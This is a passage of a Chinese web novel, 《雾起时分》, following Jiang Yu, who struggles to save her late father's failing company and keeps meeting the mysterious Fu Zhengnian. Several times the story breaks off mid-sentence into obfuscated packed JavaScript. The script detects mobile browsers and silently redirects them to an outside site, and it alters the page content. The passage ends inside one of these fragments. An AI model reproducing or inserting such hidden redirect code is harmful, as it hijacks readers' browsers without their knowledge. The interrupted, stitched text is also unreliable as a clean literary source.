《雾起时分》 1. 01 后来有人问江余,付政年在她的生命中充当了个什么样的角色? 江余想了许久才给出答案——摆渡人。 渡她一程,又折转返航。 她也说不清,他的出现,究竟是救赎,还是劫难。 * 2012年,张继科击败王皓成就大满贯,詹姆斯夺得首个职业生涯NBA总冠,莫言获得了诺贝尔文学奖。 玛雅人的预言,也没有成真。 这一年里,有人完成了梦想,有人以遗憾收场。 但这一年,同样也是江余最为痛苦绝望的一年。 父母和姐姐车祸去世,奶奶尿毒症晚期,她放弃自己喜欢的音乐,接手了濒临破产的公司。 同年,她也遇到了那个在她生命中留下深刻印记的人。 * 这一年的中秋和国庆假期连在一起,许多人在9月30日这天晚上就纷纷涌向长安街,想要汇聚天安门广场观看明早的升旗仪式。 江余刚从宴会厅出来,就看到一群意气风发的少年骑着自行车从她面前路过。 他们的身上是蓬勃朝气,眼中是对未来的期许。 看到此景,她想起大一时,她也曾跟着朋友一起,提前去广场上找了个好位置,蹲守好几个小时,只为亲眼看到五星红旗升起的那一瞬间。 时隔四年,再看到这一幕,她却怎么也想不起当时的心情。 江余忽然想起读书时老师常念的一句诗, “欲买桂花同载酒,终不似,少年游。” 当时她不甚理解,如今倒是有了几分感同身受。 身影渐远,江余收回思绪,她看着空空如也的钱包和屏幕尽碎的手机,不禁摇头苦笑。 为了拉投资,她在今晚的宴会上四处陪笑应酬,合作没谈成就算了,还不小心吐了别人一身。 当时胃中的翻涌还未消散,江余忙着去卫生间处理,她扫了一眼对方的衣服。 私人订制的西服,看面料就知价格不菲。 她道了个歉,从地上捡起包,打开包抽出一沓钱放在男人手中便匆匆离开。 出来后,江余才发现情急之下她竟将身上所有的钱都给了出去,连回去的车费都没留。 她拿出手机准备打电话叫人来接她,结果就看到屏幕碎的四分五裂。 江余试了几次,确认无法开机就放弃了。 * 吹了风,酒劲也上来了,江余抬手按了下有些发疼的头,只能慢慢往回走。 夜晚的北京城,流光溢彩,霓虹灯闪。 车道上一长串的红色尾灯为这灯火辉煌的城市再添一分光彩。 江余安静地走在路上,与这座繁华喧嚣的城市格格不入。 天气变幻莫测,没过多久,天上就下起了毛毛细雨。 感受到额间的冰凉,江余拧了拧眉,她四处看了看,最后走到一旁的公交站台,企图遮挡住一点风雨。 如今已是凌晨,公交站台早已空无一人,江余抱着胳膊靠在上面,连轴转了几个月,如今一卸力,只觉一身疲倦。 雨势渐大,且没有停的趋势。 江余垂眼看着地面,任由雨水飘打在光滑的额头,再流淌至脸上。 她想,现在的她应该是狼狈至极的。 “这么漂亮的眼睛,应该容纳星辰大海。” 眼前的光线被挡住,江余的耳边响起一道温柔的声音,她抬头看去,落入那双深邃带笑的眼眸时,心中一怔。 男人身穿白色衬衣和黑色西裤,手中的伞罩在她头顶,另一只手朝她递来一包纸巾。 他垂眼看着她,眼神似深潭,看不着边际。 那一瞬间,江余竟不自觉的把他和从前看过的那些小说和影视剧中从天而降的男主角联想在一起。 如果不是认出了他就是在会厅里被她吐了一身的人,或许她还真会觉得这是一场难忘的邂逅。 看着那只骨节分明的手,耳中还回旋着他方才的话。 江余想说她没有哭,只是被雨水打湿了脸。 可她最后只是扯出一个笑,从男人手中接过纸巾,说了声“谢谢”。 男人垂眼看着她十分狼狈的样子,没有问她为什么一个人在这儿,只勾起唇角,道:“住哪,我送你回去。” 江余这才注意到路边停了辆黑色的奥迪,车窗半开,一位四十来岁的男人坐在驾驶位,耐心等待着。 不是偶遇,是因为看到她所以才下车。 在这个圈子里,江余见过形形色色的人,更是明白天下没有免费的午餐。 “不用了,谢谢。”江余本能的往后退了一步,背后的肌肤贴在冰凉的站牌上,引起一阵颤栗。 “真不走?” 男人的语气风轻云淡,似乎只要江余再次拒绝,他就会毫不犹豫的转身离开。 看着他嘴角边噙着的笑,拒绝的话本已到嘴边,如今又被她生生吞了下去。 这雨不知何时才会停,她如今也身无分文,如果当真从这里走回去的话,也不知道要走到什么时候。 而且这个会厅今晚一共承办了两场宴会,楼上的那场,江余的身份完全进不去。 她也十分确信,除了在门口,她今晚并未在宴会上见过此人。 或许是因为这段时间频繁碰壁,她身上的傲气早已不复当初,也或许是因为喝多了酒,她的意识有些模糊。 亦或是因为今晚的雾很大,所以迷了眼。 踌躇片刻,江余敛了敛眉,轻勾了一下唇角,缓缓道:“我叫江余,请问该如何称呼您?” “付政年。” 江余在心中将他的名字牢牢记住,继续问:“付先生,您现在准备去哪?” 付政年微挑着眉打量她,说了个地址。 江余思索了一下,说:“那就有劳付先生捎我一段路了。” 上车后付政年再次问起江余住在哪,江余只道让师傅往他要去的地方开即可,到了她自会叫停。 付政年这才明白她所说的捎她一段是何意思。 不过他也没说什么,身子后仰靠在车背上,微阖着眼眸,嘴角勾起一抹看不清也道不明的笑意。 付政年没有开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084568|179515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口说话,江余也没有主动找话题。 身上的酒味被一股淡淡的香水味所稀释,江余方才迟缓的意识也慢慢回笼。 两人并排坐在后座,江余透过前方的后视镜看向身旁的人。 付政年与电影中的主角相比也不遑多让。 身高优越,宽肩窄腰,高鼻梁,丹凤眼,薄嘴唇,妥妥的渣男标配。 尤其是他那双深不见底的眼眸,让人心生怯意的同时,又忍不住想去窥探。 他是一个十分危险的人。 这是江余对他的第一印象。 师傅车开的很稳,不知不觉间江余也萌生了几分困意,她强撑着眼皮,一直在观察着路况,生怕走多了。 车辆驶出三环,在一个十字路口前,江余提前出声:“师傅,麻烦您在前面靠边停一下。” 听到她的声音,付政年终于睁开了眼,他方才应是真的睡着了,此时眼神有些朦胧,他偏头看着她,道:“我今晚没事,可以再送你一程。” 今晚上他的车,本就是意外。 江余没打算让这个意外继续下去,她礼貌的笑了笑,“就到这吧,” “再往前,就不顺路了。” 说最后这句话时,她的语气又轻了几分。 付政年似笑非笑地看她一眼,也没有强求,在司机把车停稳前,他把脚边的伞递到江余手中,又从前方椅背的储物袋中拿出一沓现金放在她腿上。 “一件衣服而已,这些钱江小姐自己留着吧。” 江余看现金的厚度,正是她今晚赔给他的。 她想,他果真是看不上这点钱的。 可她也不想欠他什么。 江余轻抿唇角,伸手从最上面拿了一张,紧接着又将剩余的钱放回面前的储物袋。 在付政年看过来时,她捏着一张粉红色纸币对他晃了晃,“这里距离我住的地方还有一段路,我需要打个车。” 给出去的钱最后又拿回来,这等行为落在别人眼中大有一种没钱还装阔的既视感。 换作以前,江余是断不可能做出这事来的,不过今时不同往日,什么面子自尊于她而言早就无足轻重了。 江余面色从容,嘴角扬着一抹得体的笑,路灯透过车窗照进来,隐约能够看见她左眼下的一颗浅褐色泪痣。 付政年低笑了声,一时间竟没了言语。 恰好这时司机将车停稳,江余同付政年说了声谢谢后又再次跟他道了个歉,径直拉开车门下车。 后来两人闲暇时靠在一起闲谈,提起这事,付政年就说她是那么多年来第一个用钱砸他的人。 还是一连两次。 江余从付政年的车上下来后便在路边拦了一辆出租车,上车之前她鬼使神差的回头看了一眼。 付政年的车子已经拐弯驶向另一条路,细雨蒙蒙,让这本就大雾弥漫的夜晚看起来越发朦胧。 江余好似透过车窗看到付政年的身影逐渐消失于迷雾之中。 多年后,江余回想两人第一次见面的情形,许多细节都已迷糊,唯一记得的就是那天的雾,很大。 2. 02 到家后,江余放下东西就进卫生间洗去了一身的酒意和疲惫。 把头发吹干,江余从抽屉里翻出来一个备用机,把卡插进去。 一开机就看见好几个未接来电,全都是奶奶打过来的。 看了看现在的时间,猜想着奶奶早已经睡了,她也就没有回拨过去。 外面的雨还在一直下,江余看了一眼门口柜子上放着的那把黑色的伞,脑中又浮现出付政年的脸。 她抿了抿唇,起身走到书桌前坐下,打开电脑登录网站,在搜索框输入付政年的名字。 结果显示的是查无此人。 江余又换了好几个同音字,还是没有一点关于他的信息。 她疑惑的蹙起眉头,不知道是自己想多了还是他的信息被处理过。 当然还有一种可能,那就是付政年告诉她的是假名。 但江余觉得他应该犯不上。 想到今天发生的事,江余躺在床上翻来覆去怎么也睡不着,后来索性坐起身拿过管理学的书翻看,一直到凌晨五点,她才勉强有了睡意。 可刚睡了两个小时不到,江余就被一阵电话铃声吵醒了。 她强忍困意去摸手机,看到是奶奶打来的,瞬间清醒了不少,她指尖划过屏幕,把手机放到耳边,“喂,奶奶。” 尽管她再怎么忽略声音里的哑意,手机另一端的老太太还是听出来孙女语气中带着一丝刚起床的困倦。 她有些歉疚地说,“余余,我是不是打扰到你休息了?” 江余看了一眼时间,刚好七点整。 老太太已是尿毒症晚期,这些年的睡眠越来越少。 昨晚她给江余打电话一直没人接,她心里担心,一晚上都睡的不是很安稳,早早就醒了,怕江余还没醒,一直等到了现在才又给她打过去。 等待的这段时间里,老太太每一秒都觉得是在度日如年。 “没有,”江余语气带笑,音调略微拖长,“我也打算起了。” “你昨晚是不是有什么事啊,我给你打了好几个电话都没有接。”老太太小心地问着。 “没事,就有个应酬,手机关的静音,回来的时候有些晚了,想着您睡了,就没有打过去。”江余解释道。 “哦,”老太太放下心来,想到江余现在忙的脚不沾地,又开始心疼起孙女来,“余余,要不我回家来住吧,你一个人住在那么大的房子里怪冷清的,也可以陪陪你,平时有刘妈照顾我,你也不用担心。” 江余看了一眼狭小的出租屋,眼神略微有些黯然。 爸妈和姐姐车祸去世后,老太太病情加剧需要住进疗养院,公司的资金也出了问题,为了填补空缺,江余把之前的房子和车全都卖了。 老太太不知道如今公司的困境,江余不想让她担心,也就没打算告诉她。 “奶奶,我刚接手公司,很多东西都不熟悉,经常要加班,刘妈晚上也要回家,您一个人在家里我放心不下,您就委屈一下再在疗养院住一段时间吧,等过些日子没那么忙了,我就去接您回来。” “哎,好。”老太太一口应下,虽然她的语气听起来很正常,但江余还是从中捕捉到了一丝失落。 江余又如何不知,她现在只想待在唯一的亲人身边。 可现在公司濒临破产,她即将背负巨额债务,她不想让老太太也跟着提心吊胆。 “我待会儿让刘妈给您熬点汤送过去。”江余像平常一样道。 老太太婉拒了,“前几日刚来过呢,老是让刘妈跑来跑去的也麻烦,再过几天再说吧。” 恰好这时宁宏给她发来一个消息,江余也没有再坚持,“行,听您的,那您好好休息,宁叔找我有点事,我过两天再去看您。” “好,你先去忙,但也要注意身体,别累着自己。”老太太在电话那头叮嘱道。 江余笑着应下,挂断后又立即给宁宏拨了个电话过去。 才响了一声就被接起,男人直接开门见山,“江总,我联系上了华创的钱经理,想让他再宽限些时日,但他说最近他们的执行董事要换人了,上面压的紧,他也没办法。” 昨晚没有睡多久,现在听到这个消息,更加感觉有些头昏脑涨,江余捏了捏眉心,试图让自己清醒一些,她疲惫地开口,“宁叔,你帮我约见一下华创如今的执行董事吧。” 宁宏应了声“好”。 挂断电话,江余去卫生间洗漱了一下,清醒些后又回来打开电脑,搜索着华创这位新执行董事高阳的信息。 高阳是从分公司调上来的,国庆假期之后会正式上任,之前他一直待在上海,江余对此人不是很了解。 江余拿出手机拨通了在上海一个朋友的电话,问了些关于这位高阳的事。 她刚记下来,宁宏的电话就来了。 宁宏也没废话,直接道:“高阳拒绝了我们的约见。” 许是这段时间四处碰壁,对于这样的结果江余也不意外。 毕竟利丰现在可是个烫手山芋,谁都不愿意沾边。 华创是利丰最大的客户,如果他们这边不松口的话,利丰也就撑不了多久了。 江余一直在托人打听高阳的事,终于功夫不负有心人,她得知高阳周五会去参加一个饭局。 她又问了一圈,才问到了新悦的王总也会去。 这位王总是江父的旧交,这段时间也帮了江余不少忙,听说只是带她去饭局,他想也没想就同意了。 * 江余没想到会在饭局上再遇到付政年。 周五那天,她跟在王寇身边走进餐厅,一眼就瞧见了坐在最里面抽烟的男人。 这段时间她忙的焦头烂额,早已将那天晚上的插曲忘的差不多了。 她也并非是刻意去记住付政年,只是他这人的气质实在是过于突出,以至于她一直没能忘记。 付政年似乎也还对她有些印象,见她进去,他慵懒地靠在椅背上,勾起唇角朝她看来。 说来也奇怪,付政年长着一张凉薄的脸,但在凝视你时,原本淡漠的眼睛却又总让人觉得十分深情。 江余有些不太自在的移开了眼,跟着王寇一起落座。 坐下后王寇跟她交代了几句就没再管她,开始同一旁的人攀谈起来。 这里面的人江余认识的也没几个,她端坐于桌前,眼神时不时往付政年那个方向看。 周围的人包括高阳在内,面对付政年时基本上全都是一脸恭敬和讨好。 付政年却并未因此将姿态放高,交谈时嘴角总带着几分温和的笑意。 场面上的功夫付政年做得游刃有余,仿佛他生来就属于这名利场。 但江余总觉得他的气质和这推杯换盏的氛围格格不入。 江余实在是有些好奇,便在王寇看过来时,凑近了些问:“王叔,前面那个年轻人是谁?” 王寇顺着她的视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084569|179515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线看过去,摇头道:“我也不太清楚,今日我能来这是拖了李总的关系,那些人我都不认识,但能让大家都毕恭毕敬的人,身份想来也不会低。” 江余哦了声,也没有再多问。 今天她来这的主要目的就是高阳,可她和高阳的位置离得有些远,她根本没办法搭上话。 江余是以王寇女伴的身份进来的,虽然王寇没说,但她也知道王寇定是有合作要谈,她怕给王寇带来麻烦,不敢贸然上前,也只能等待机会。 不知道是因为一直没能寻到机会和高阳说话,还是因为付政年偶尔递过来戏谑的目光,这一顿饭,江余吃的味同嚼蜡。 终于熬到饭局结束,看到高阳几人起身,江余让王寇先走不用管她,她自己则跟在高阳身后往外走。 高阳和同行的人告别后准备上车,江余走上前想要叫住他,结果还没等她靠近,就被高阳身边的保镖给拦住了。 江余深知错过了这个村就没这个店,当即便自爆了身份,说明来意,希望高阳能够停下来听她说一说。 高阳听完后确实停下了脚步,他走到江余面前,打量了她几眼,随即轻蔑一笑,“原来是利丰的江总,难为你为了进这饭局做出如此牺牲了。” 听到这话,江余嘴角的笑意一僵,明白过来高阳的意思。 王寇个子矮小,皮肤也有些黝黑,这些年常常应酬,也喝出了一身啤酒肚,他的外形看起来确实是有些磕碜。 高阳应是以为她为了进这个饭局跟王寇做了什么交易。 这段时间江余听到的不堪入耳的话太多了,所以现在虽然不舒服,但也没有发作,她笑了笑,刚准备开口又被高阳打断。 “江总,我知道你的来意,但大家都是生意人,利丰的交货日期是本该是八月初,前任李总答应给你们逾期三月已是极限,如果下月再交不上,华创也将会损失巨大,到时候我们就只能走法律程序了。” “……” 高阳说完就拉开车门上车,从她面前扬长而去。 汽车尾气充斥鼻间,江余瞬间卸了力,她双手无力的撑在护栏上,看着这茫茫夜色,感觉前路一片迷茫。 半年前利丰的一批产品出了问题,江父带着江母和江念去找人帮忙,回来时不小心出了车祸后。 在那之后,公司股份一跌再跌,之前的合作商纷纷另投他处。 投资商撤资,银行贷款已达最高额度,江余接手后把能投进去的资金全都投了,可还是杯水车薪。 资金链短缺,加上之前又赔付了一些,这批货物的原材料没法购买齐全,要想一个月内交齐,完全是不可能的。 之前江父从未让她接触过公司的事,她大学学的也是音乐,如今接手公司完全属于赶鸭子上架,她不懂其中的内行,这段时间如果不是宁宏帮她,她根本撑不到现在。 但现在似乎也已经穷途末路了。 江余低垂着头,没有注意到她的面前何时停了一辆车。 等反应过来,男人已经把车窗打开,他的声音带笑,明明是嘲弄的话,却并未让人察觉到有任何的不屑。 “那位王总就这样把你一个人丢在这?” 听到这道声音,江余浑身血液一僵,木讷地抬头看向付政年。 这一刻,方才压下去的屈辱不受控的充斥全身。 江余双手握紧护栏,轻扬眉梢,笑着反问了一句:“那付先生要准备再送我一程吗?” 3. 03 闻言,付政年不由一愣。 无论是那天晚上还是今天在饭局上,江余都表现的十分从容淡定,尽管别人用那些不怀好意的目光打量她,她都只是一笑而过。 没想到她此刻的话语中明晃晃带着刺。 付政年眸中竟也多了几分兴趣。 他低笑了一下,打开车门往里挪了挪,说:“荣幸之至。” 江余觉得有些好笑,在付政年眼中,现在的她该是王寇的情妇才对。 她方才这话确实是在故意刺他,但他也还是送她了。 就算早知道这个圈子乱,她也还是有些唏嘘。 江余盯着他看了几秒,突然心一横,朝他走过去,“那就多谢付先生了。” 上车后,江余报了小区的名字。 付政年逗趣道:“江小姐这次怎么就不怕跟我不顺路?” 江余对他展露一个自认为挑不出毛病的笑,“我以为付先生方才应下送我一程,是没有什么事的。” 付政年玩味的眼神落在她的侧脸上,似是觉得她这态度极为有意思,轻嗤了声。 付政年吩咐司机往江余住的地方开。 司机师傅对北京城的路很熟悉,当即就朝那个方向走了。 付政年刚刚也瞧见了她跟高阳对峙的场面,他翘着腿往后仰,饶有兴致地看着江余,问:“你找高阳有事?” 江余本来也就打算过一会看看能不能从付政年口中问出点什么来,现在听到他主动提及,便点了点头,反问:“付先生您认识高总吗?” “不认识。” 付政年看她一眼,答道。 他的确不认识什么高阳,如果不是陈和畅那混蛋玩意这次捅的篓子有些大,没那么容易善了,他今天也不会来这个饭局。 听到这话,江余不免有些失落,他对高阳可以说是一无所知,想要让他松口也不知道从何下手。 “但今晚听他们说了几句,高阳和他老婆感情很好。”付政年看着江余忽然黯沉下去的眸子,又补充道。 江余唇角的笑意再次僵住,过了会儿又不自觉的笑了两声。 她感觉付政年这人的脾气应该是极好的。 在他看来,她上了他的车,心中还惦记着勾搭其他人,他不但不生气,反而还好意提醒。 一点都不介意当这个跳板,尽管还是一个往下跳的跳板。 车窗大开,付政年身上交杂着酒味,烟草味,还有淡淡的香水味。 如此繁杂的味道交织在一起,竟也奇迹般的不难闻。 “付先生可能误会了,” 想了想,江余还是解释了一下,“王总是我父亲故交,我今天托他带我来是为了请高总宽限一下利丰的交货日期。” 付政年脸上有那么一瞬的错愕,但很快就又恢复如常。 “那倒是我误会江小姐了,”付政年没什么诚意地说,“抱歉。” “没关系。”江余好脾气道。 说完,她就再次把目光投到窗外,欣赏路边疾驰而过的风景,心中有些堵。 付政年看着她线条流畅的侧脸,突然问了句,“江小姐是南方人?” 江余摇头,“不是,我妈妈是南方人。” 江余长得很漂亮,是妥妥的东方美人长相,她身上有南方人特有的淡雅气质,笑起来时眉眼弯弯的,眼中似装满了江南春水,淅淅沥沥落在心间,左眼角的那颗泪痣,更是长得十分恰当。 第一眼见到她,付政年就在想,她哭起来应是极为好看的。 眼中水光粼粼,倒映着灯光,将星辰大海全都容纳其中。 可她如此温润的眼睛,却又蕴含着一丝不容忽略的凛冽傲气。 跟她极为不搭。 付政年双手叠放在脑后,食指有一搭没一搭的轻轻敲击着。 他一开始并不知晓江余的身份,当然就算知晓了也不会在意,所以也并未刻意去查过。 不过如今,他倒真的对她起了几分兴趣。 付政年拿起手机发了个消息,没过多久就收到了回信。 他手指在屏幕上划过,认真看了起来,“原来江小姐大学学的是音乐。” 江余不解偏头,跟随他的视线往下,最终定格在他的手机屏幕上。 付政年在看的,正是她的资料。 “还拿过那么多奖呢,真是可惜了。” 嘴上是这样说,但江余却并未从他的语气中听出一丝惋惜的意味。 江余一时无语,就这样看着付政年翻看她的资料。 她真的是第一次见到这种人,把私查别人信息表现的如此坦荡。 坦荡到让人觉得他做什么好像都是理所应当。 仿佛她才是那个心思阴暗的人。 “商人大都以利益为先,高阳能够年纪轻轻爬到这个位置,除了他老婆的原因,他自身的能力和远见也不会差到哪去。如今你公司的股份已经跌至谷底,眼看着完全没有翻身的希望,他自然是希望走法律,这样还能多回些本。” 看完后,付政年将手机摁熄,缓缓开口。 从她说出自己今天的目的,付政年应该也知道了她今晚为何会上他的车。 江余没有打断,安静地听着。 “如果别人看不到价值,就算你跑再多的饭局,喝再多的酒,也拉不到任何投资。” 话音落下,付政年那双深邃的眼睛就直直朝她看来。 江余心中一紧,很快就又移开了视线。 她又何尝不知,不会有人愿意在没有价值的东西上耗费心力。 她也并非听不出付政年的弦外之音。 价值这个东西,如果公司没有,那就只能从人的身上找了。 这段时间她也遇到不少以此为由朝她抛出橄榄枝的人,只不过她都没有接罢了。 江余很清楚,如果她现在开口,付政年一定会帮她。 但她始终迈不过心里那道坎。 请他帮忙的代价,她承担不起。 付政年看着她刻意回避的目光,极轻地笑了声,江余眉眼间消散不去的傲气,还真是十分刺眼。 接下来的这一路,谁都没有再开口。 到小区门口,江余笑着同付政年道谢,“今晚多谢付先生了,再见。” 付政年放下手机,亦是轻笑着点头,“再见。” 很普通的一个道别,没有为了下次见面而胡诌一个借口或者留下联系方式。 这一句再见,两人都清楚只是一个礼貌用词。 如果没有外力作用,他们再见的可能性微乎其微。 江余不会主动找他。 付政年一连两次的主动出击都没有得到什么实质性的回应,自然也不会再有什么动作。 虽然接触不多,但江余也清楚付政年不是一个喜欢勉强的人,这也是她明知他的意图,还敢上他车的原因。 江余下车后,付政年刚点了根烟,手机铃声就不合时宜的响起,他看了一眼就顺手接了起来,电话那头顿时响起一道兴奋的声音,“四哥,这次真的太谢谢你了,不然我指定又要被我爸打个半死。” 付政年忍不住有些想笑,“得了吧你,你老子近几年身体越来越差,你要想让他多活几年,最好还是收敛些。” “哎,我知道了,”陈和畅叹了口气,“这次也是我失了分寸,以后会注意的。” 陈和畅这话不知道说了多少次,付政年也没怎么放在心上。 毕竟他要是真能收敛,他也就不叫陈和畅了。 “我们现在在烨磊哥的场子上,今天新来了一批人,你要不要过来看看?” 付政年手肘搭上车窗,抖了抖烟灰,目光又朝那道单薄的身影看去, 江余已经走了一段距离,她的步伐很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们跟着江余走进办公室,小心翼翼的将手中的文件放在她的办公桌上。 不出意外,全都是辞职信。 江余拿起来看了眼,眼神又从这些人的脸上一扫而过。 他们已经是坚持得比较久的了,有些人从利丰一出事就离开了。 “你们都想好了吗?”江余淡淡问。 “对不起江总,我也知道我现在离职有些过河拆桥,但是我爸爸生病了,需要一大笔钱,我没有办法。” 说这话的人是市场部的一个组长。 资金短缺,许多产品停销,市场部的人基本上都是拿基础工资,有更好的机会,他们自然会选择跳槽。 江余也理解他们,毕竟,谁会愿意押宝在一个岌岌可危的公司呢。 她又看向站在最后的一个中年男人,“陈叔,您也要走吗?” 陈叔是财务部经理,是跟着江父一步步走来的人,同时,他的手中也握着利丰的一部分股份。 陈叔尴尬的垂下头,“江总,我也不想走,但是都已经过去半年了,公司如今的情况大家都有目共睹,我们都是有家庭的人,真的耗不起了。” 江余笑了声表示理解,“我尊重你们的选择,我会按照如今利丰的股票价格收购你手中的股份,你们去财务结工资吧。” 说完,江余很利落的在辞职信上签了字。 “多谢江总。” 很快,办公室内又恢复了平时的冷清,江余握笔的手不自觉收缩了几分。 她盯着一旁绿植的投影沉思,直到宁宏敲门进来她才收回思绪。 看到宁宏手中拿着一份文件,江余一脸茫然的抬头,问:“宁叔,您也要走了吗?” 4. 04 宁宏轻笑了声,摇头道:“我是来给江总送文件的。” 宁宏把手中一份文件放到江余桌上,“这是这一批有意向投资这个方向的公司名单,您看看。” 闻言,江余心中才稍微松了几分。 她打开文件夹,大致扫了一眼,这里面的公司,最起码有百分之九十都是之前和利丰合作过,最后又撤资的。 所以能够去尝试拉拢的,也就只有那么几个。 北京与这个行业相关的企业江余几乎全都了解过,她最终将目标锁定在一个从前并未看到过的一个公司上。 这个公司成立没有多久,却能在这竞争如此之大的地方那么快站稳脚跟,背后的关系一定不会简单。 宁宏当即就约谈了这个公司的经理,结果不出意料的碰了一鼻子灰。 就在江余一筹莫展之际,宫白卉的电话来了。 江余接起来放到耳边,“喂。” “余余,你还没睡吗?” 宫白卉的声音还跟从前一样,听起来活力四射。 江余笑了声,“刚准备睡,怎么了?” “我听说你最近在拉许氏的投资。” 江余顿了顿,又立即反问道:“你怎么知道?” “昨天一位叔叔来我家吃饭,我听我爸和他说了一嘴。”宫白卉说着说着声音就小了些,“对不起啊,余余,我……” 宫白卉话都还没有说完,江余就打断了,“我知道的,叔叔让你与我少些接触,也是为了你好。” 江余和宫白卉是发小,江家和宫家企业方向不一致,所以也没什么竞争,从前住的近时,两家关系还不错。 江父出车祸后,江余也曾向宫父寻求过帮助,但宫父却以公司项目拖延,资金一时无法周转为由拒绝了。 也是从那天开始,宫白卉就减少了同她的往来。 江余又怎会看不出他们的意思,但她也没有怎么把这件事放在心上,毕竟明哲保身是人之常情。 江余这话一出,电话那头沉默了一会儿。 就在江余犹豫要不要再说点什么的时候,宫白卉又出声了,“余余,我一个朋友跟许平认识,我也跟他吃过饭,他这人没多少能力,而且挥霍无度,公司也是交由下面的人管,想要让他答应投资,不难。” 江余没说话,安静等待她的后文。 “她跟我说,许平今晚就在康乔,如果你想去,我让她带你进去。” 康乔是那一片现在最有名的夜场,刚开不到一年,名声却已经十分响亮。 江余听明白宫白卉的意思,就是让她去陪酒呗,如果喝的高兴了,兴许就能拉到这个投资。 有了许氏的投资,至少能让利丰缓解燃眉之急 这段时间江余混迹各种场合,对于这事也已经习以为常, 她同宫白卉道了个谢,承了她这个情。 宫白卉很快就给她发了个号码过来。 * 江余打车到康乔门口,又给宫白卉的朋友打了个电话。 没一会儿,一个化着浓妆,身着吊带和紧身皮裤,染着一头棕红色头发的女人从里面走了出来。 女人的五官明艳大气,一出来就吸引了不少的目光。 江余笑着走上前,朝她伸出手,“你好,我叫江余。” 女人回握了一下她的手,“简娆,常听白卉说起你,久仰大名。” 宫白卉早已跟简娆说明了江余来此的目的,两人简单寒暄了几句,简娆就带着江余走进康乔。 简娆一直在跟江余说着许平的事,“许平这个人是个挥霍无度的富二代,平时给那些个情人花出去的钱都不是个小数目,只要在他兴头上,让他答应不是什么难事。” 说到这,似乎是怕江余担心,简娆又补充道,“你放心,白卉同我说过,我有分寸,不会让你出事的。” “多谢简娆姐。”江余点头道谢,有刻意同简娆拉近关系的意思,称呼也就变了。 康乔外面的装饰就已经十分张扬,里面更是富丽堂皇,穷奢极侈。 如果不是亲眼所见,根本没法想象里面是怎样的骄奢淫逸。 简娆在这个场子里应是十分有名的,一路上都一直有人在跟她打招呼。 江余有些好奇,宫白卉平日被宫父保护的极好,又是如何认识的简娆。 江余走神之际,前面的简娆突然停下了脚步,恭敬地唤了一声,“付公子。” 听到这个称呼,江余下意识抬眼,正好与付政年的目光直直对上。 付政年在包间里面待的有些闷,就想着出来抽根烟,他也没有想到,会在这个地方遇到江余。 他先是对着简娆点点头,夸赞了一句“今天的妆很漂亮。”后又再次将目光落在江余身上,勾唇道:“江小姐,又见面了。” 江余尴尬的笑了下,“是啊,真巧。” 之前高阳的事付政年帮了她,按理来说,她应该跟他道个谢的,但她却不知道该如何开口,似乎只要她一说出来,其中的意思就变味了。 简娆的目光在二人身上打了个转,有些诧异的开口:“你们认识?” 江余:“有过两面之缘。” 付政年轻笑了一下,她这话也没有说错,确实只有两面之缘,只不过从她口中说出来,总让人觉得是在刻意与他撇清干系。 付政年并不是没有被人拒绝过,只不过视他如洪水猛兽的,江余还是第一个。 “江小姐怎么会来这里?”他又问了一句。 “有点事。” 江余答的很敷衍。 看出江余有些不自在,简娆与付政年说了声还有事就带着她走了。 付政年盯着江余的背影看了几秒,把烟掐灭就准备回包间。 这时一个男人从洗手间出来走到他旁边,顺着他的视线往江余那边看了眼,然而只瞧见一个背影,他用手肘碰了下付政年,调笑道:“四哥,看上那姑娘了?” 这人是付政年的堂弟付岱。 付政年嗤了声,轻轻勾唇,说:“人家看不上我。” 说完他就往前走。 付岱忙跟上,“我看她们去的方向是那群二世祖的包厢,落这些人手里,可没什么好果子吃,你不管管?” “我很闲?” 付岱悻悻闭嘴,知道自己四哥是个什么德行,也没有再提这事,说起了其他的来,“老爷子让我们明个儿回老宅一趟。” 付政年脚步一顿,拧眉思虑片刻,道:“老爷子突然叫我们回去,怕是跟齐家的事有关,明晚我有个饭局不好推脱,我现在回去。” “行,我去和烨磊哥说一声,跟你一块儿回去。” * “你跟付公子怎么认识的?” 看他二人方才的神色,简娆一眼就瞧出了不对劲,走远了些她就没忍住出声询问。 江余不愿多说,“真只见过两次。” 片刻后,江余又问:“简娆姐,你同他很熟吗?” 简娆和付政年虽然没有说几句话,但看起来却十分熟络。 “他是我们老板的朋友,平时常来这里。” “你们老板的朋友?” “对。”简娆侧头看她一眼,瞥见江余眼中的好奇,她便又多跟她说了几句,“我来这里那么久,也不是很清楚他们的身份,反正不简单。” “他们与一般的富二代不一样,待人礼貌,来这纵情声色的场所多数时候也只是喝喝酒,打打牌,极少要舞女作陪,但身边都会自带一位女伴。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 